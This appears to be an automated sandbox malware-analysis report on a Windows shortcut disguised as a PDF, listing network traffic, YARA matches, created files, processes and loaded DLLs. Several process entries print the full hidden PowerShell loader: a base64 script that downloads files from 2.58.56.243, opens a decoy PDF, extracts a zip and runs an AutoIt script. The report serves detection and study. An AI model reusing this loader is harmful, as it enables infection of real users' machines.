Source: unknown	TCP traffic detected without corresponding DNS query: 96.17.64.171
Source: unknown	TCP traffic detected without corresponding DNS query: 96.17.64.171
Source: unknown	TCP traffic detected without corresponding DNS query: 96.17.64.171
Source: unknown	TCP traffic detected without corresponding DNS query: 96.17.64.171
Source: unknown	TCP traffic detected without corresponding DNS query: 96.17.64.171
Source: unknown	TCP traffic detected without corresponding DNS query: 96.17.64.171
Source: unknown	TCP traffic detected without corresponding DNS query: 96.17.64.171
Source: unknown	TCP traffic detected without corresponding DNS query: 96.17.64.171
Source: unknown	TCP traffic detected without corresponding DNS query: 96.17.64.171
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /onboarding/smskillreader.txt HTTP/1.1Host: armmf.adobe.comConnection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brIf-None-Match: "78-5faa31cce96da"If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
Source: global traffic	HTTP traffic detected: GET /vmapi.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 2.58.56.243Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kghtyed.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 2.58.56.243

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 19 Nov 2024 18:11:09 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 273Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 2e 35 38 2e 35 36 2e 32 34 33 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 2.58.56.243 Port 80</address></body></html>

Source: powershell.exe, 00000003.00000002.1489723772.000001BC01632000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1489723772.000001BC016E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.58.56.243
Source: powershell.exe, 00000003.00000002.1489723772.000001BC01C07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.58.56.243/kghtyed.zip
Source: powershell.exe, 00000003.00000002.1489723772.000001BC01632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.58.56.243/kghtyed.zipX
Source: powershell.exe, 00000003.00000002.1489723772.000001BC01632000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1489723772.000001BC00232000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1489723772.000001BC016E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.58.56.243/vmapi.pdf
Source: powershell.exe, 00000003.00000002.1489723772.000001BC01632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.58.56.243/vmapi.pdfX
Source: svchost.exe, 00000006.00000002.2695624062.000002E33FE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.5.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.6.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000003.00000002.1567914358.000001BC101B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567914358.000001BC10070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.1489723772.000001BC00232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1489723772.000001BC00001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1489723772.000001BC00232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 2D85F72862B55C4EADD9E66E06947F3D0.5.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: powershell.exe, 00000003.00000002.1489723772.000001BC00001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000003.00000002.1567914358.000001BC10070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.1567914358.000001BC10070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.1567914358.000001BC10070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: edb.log.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000006.00000003.1496139347.000002E33FCE0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr, edb.log.6.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:
Source: powershell.exe, 00000003.00000002.1489723772.000001BC00232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1489723772.000001BC00C32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.1567914358.000001BC101B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567914358.000001BC10070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_3456.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3456, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_00007FFB4B128EB0

3_2_00007FFB4B128EB0

Source: amsi64_3456.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3456, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal96.evad.winLNK@20/51@2/3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\vmapi.pdf

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hff1bw0j.uwu.ps1

Jump to behavior

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: Integration.pdf www.skype.com.lnk

ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) \| Invoke-Expression"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) \| Invoke-Expression"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\vmapi.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1636,i,14726364720593086116,8068098665714155558,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) \| Invoke-Expression"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\vmapi.pdf"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1636,i,14726364720593086116,8068098665714155558,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
